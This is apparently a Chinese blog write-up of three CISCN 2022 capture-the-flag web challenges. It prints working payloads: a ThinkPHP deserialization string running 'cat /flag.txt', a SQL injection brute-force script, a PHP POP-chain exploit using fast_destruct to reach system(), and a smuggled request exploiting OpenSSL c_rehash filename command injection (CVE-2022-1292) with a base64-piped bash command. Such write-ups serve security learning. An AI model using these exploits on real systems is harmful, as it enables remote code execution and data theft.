国赛 线上初赛 ciscn 2022 web 部分wp

ciscn2022 ezpop

payload

http://eci-2ze7x0b01kqqb579phbs.cloudeci1.ichunqiu.com/index.php/index/test

post

a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00*%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00*%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00*%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00*%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00*%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00*%00jsonAssoc%22%3Bb%3A1%3B%7D

ciscn2022 Ezpentest

有个DS_Store

image-20220529141051748

然并卵

用的AuroraSZU的payload

import requests

#1'^CASE`password`like'{s + table[j]}%'COLLATE'utf8mb4_bin'WHEN'1'THEN'0'ELSE''+100E291+1.7976931348623158E308+''end^'

url = "http://1.14.71.254:28968/login.php"
table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@$_"
s = ""
for i in range(300):
    for j in range(len(table)):
        data = {
            "password": "admin",
            "username": f"1'^CASE`password`like'{s + table[j]}%'COLLATE'utf8mb4_bin'WHEN'1'THEN'0'ELSE''+100E291+1.7976931348623158E308+''end||'"
        }
        res = requests.post(url, data=data)
        if res.status_code == 200:
            s += table[j]
            print(s)
            break

打nss的靶场会有问题,最后的这个

image-20220602125504193

匹配到的是下划线,下划线是脚本中字符集的最后一个字符,所以可能是_也可能是%(此处需要手试)

多次尝试后得出是%

password=PAssw40d_Y0u3_Never_Konwn%21%40%21%21&username=nssctfwabbybaboo!%40%24%25!!

混淆文件用了大量的不可见字符,类似SUSCTF中的rubbish maker,直接保存可能存在解码不了,使用如下脚本进行保存

难蚌,我直接保存的确解码失败。询问一些大佬是用的pwntools+gzip

download.py

import gzip
from pwn import *

p = remote("1.14.71.254",28882)
msg = """GET /login.php HTTP/1.1
Host: 1.14.71.254:28882
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=e7bf00700a9bd551fb7bcbcc51690b0e
Connection: close"""
p.send(msg.encode())
byte = p.recv()
start = byte.find(b"\r\n\r\n")+4
byte = byte[start:]
with open("test.php","wb") as f:
    f.write(gzip.decompress(byte))
    f.close()

不过nss的靶场比较特别,gzip会失败

这里也可以用atao神的脚本

<?php
$url ="http://1.14.71.254:28882/login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt ($ch, CURLOPT_COOKIE, "session=e7bf00700a9bd551fb7bcbcc51690b0e");
$result = curl_exec($ch);
curl_close($ch);
echo urlencode($result);
file_put_contents("login.php",$result);
?>

之后是phpjiami混淆,去混淆的方法是:(网上一些Github脚本被删除了,可以用这个,参考2018的pwnhub某道题)

参考PHPJiaMi 免扩展加密分析及解密_vsalw技术博客用其脚本进行一个解密,脚本如下:

https://vsalw.oss-cn-shanghai.aliyuncs.com/phpjiami.zip

解压后把待解密的放入encode目录

$ php phpjiami.php
./encode/index.php

解密结果在decode里

这里展示最终解密后的1Nd3x_Y0u_N3v3R_Kn0W.php

<?php
session_start();
if(!isset($_SESSION['login'])){
    die();
}
function Al($classname){
    include $classname.".php";
}

if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    $o = unserialize($c);
    if($o === false) {
        die("Error Format");
    }else{
        spl_autoload_register('Al');
        $o = unserialize($c);
        $raw = serialize($o);
        if(preg_match("/Some/i",$raw)){
            throw new Error("Error");
        }
        $o = unserialize($raw);
        var_dump($o);
    }
}else {
    echo file_get_contents("SomeClass.php");
}

读一下SomeClass.php

<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}

?>

if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}

上面这个抛异常的报错用fast_destruct或者__PHP_Incomplete_Class 都可以绕过

之后就是挖链子

E::__destruct()->C::toString()->D::read()->F::__call()->E::__invoke()->B::__toString()->A::see()

xs,有更短的

E::__destruct()->B::__toString()->A::see()

发现链子里面最后一个rce是有限制的,如何绕过呢

ArrayObject(),Error() ... 凡是原生类都可以随意增加修改属性。借此可以绕过一些对类的限定

比如说

class A
{
    public $b;
    public function __construct(){
        $this->see();
    }

    public function see()
    {
        $b = $this->b;

        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}

已知

$a = "system";
$b = "calc";
($a)($b."");

是可以rce的

所以$b->a,$b->b只要分别返回system和calc就行

数组是行不通的,考虑用类,然而这里不允许使用SomeClass.php中的类(只有SomeClass.php有题目写的类),所以这里考虑使用原生类

<?php 
class A
{
    public $a;
    public $b;
    public function __construct(){
        $this->b = new Error();
        $this->b->a = "system";
        $this->b->b = "dir";
        $this->see();

    }

    public function see()
    {
        $b = $this->b;

        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}

$a = new A();

unserialize(serialize($a));

Error改ArrayObject也可以,其实凡是原生类都可

说到fast_destruct,我们可以两种做法,一种是删除最后的大括号,一种是数组对象占用指针(改数字)

对了,

function Al($classname){
    include $classname.".php";
}

所以一开始是一定要new一个SomeClass()的

如果利用最后一种,我们可以在new SomeClass();的后面随便加个属性,之后手动把1改为0

如下

fast_destruct版的payload

<?php
include  "SomeClass.php";

class SomeClass{
    public $a;
}

$e = new E();
$a = new A();
$b = new B();

$e->a = $b;
$b->a = $a;
$arr = new ArrayObject();
$arr->a = "system";
$arr->b = "dir";
$a->b = $arr;
$c = new SomeClass();
$c->a = $e;

echo "<hr>";
echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));
echo "<hr>";

image-20220605224822550

ciscn2022 ezcrt

request.form是存储post表单的地方

本地测试一下

    uri = request.form.get("uri", "/")
    print(request.form)

image-20220531205217144

但是当

@app.route('/proxy', methods=['GET'])

会method not allow

绕过的方法就是POST改GET。但是body里面仍然有uri

接着后面就是go代码审计活,尤其注意搜索引擎的妙用,理解博文的意思

Request.URL.RawPath

参考1.Gin源码学习-快速开始 - 知乎 (zhihu.com)

image-20220531205850269

所以需要我们对路径进行url编码

然后

Host: admin``c.Request.Host == "admin"

最后是这一步,确实学到很多

上网搜一下发现CVE-2022-1292,没有exp但是漏洞描述是当用户可控文件名时的命令注入,所以现在目标为控制文件名

曾几何时我竟认为只有搜出复现文章才可以做题,好好反思

OpenSSL命令注入漏洞 (CVE-2022-1292) 安全风险通告 - 安全内参 | 决策者的网络安全知识库 (secrss.com)

漏洞由于c_rehash脚本未对外部可控数据进行有效过滤,导致可操作/etc/ssl/certs/目录的攻击者注入恶意命令,从而以该脚本的权限执行任意命令。

很像

看go源码,发现只提供了../static/crt/目录下的重命名文件的功能

导致可操作/etc/ssl/certs/目录的攻击者注入恶意命令

结合这句话,我想已经猜到怎么做了吧,把文件名改为恶意代码就会执行

而这个改名的操作明显是通过proxy走私http出来攻击的

坑点:

  • 走私的http请求要url编码两次
  • \r\n这东西win下比较难实现

尝试burp多次无果后我写了python脚本

poc

import requests
import urllib
import base64
import re

url = "http://1.14.71.254:28183/"

link1 = requests.get(url+"getcrt").text

old = re.findall(r"static/crt/(.*)",link1)[0]

print("old is "+old)
#old = "6e7b1144-34b0-4e6e-882c-25d2b4ab9340.crt"

cmd=base64.b64encode('cat /* >flag1.txt'.encode()).decode()
print(cmd)

payload = f"`echo {cmd} -d|base64 -d|bash`.crt"

payload = urllib.parse.quote(payload)

payload0 = {
    "uri":f"/%61%64%6d%69%6e/%72%65%6e%61%6d%65?oldname={old}&newname={payload} HTTP/1.1\r\n"
       "Host: admin\r\n"
       "User-Agent: Guest\r\n"
       "Accept-Encoding: gzip, deflate\r\n"
       "Accept-Language: zh-CN,zh;q=0.9\r\n"
       "Connection: close\r\n\r\n"
}

requests.get(url+"proxy",data=payload0)
link=requests.get(url+"/createlink").text
print(link)

print(requests.get(url+"/static/crt/flag1.txt").text)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇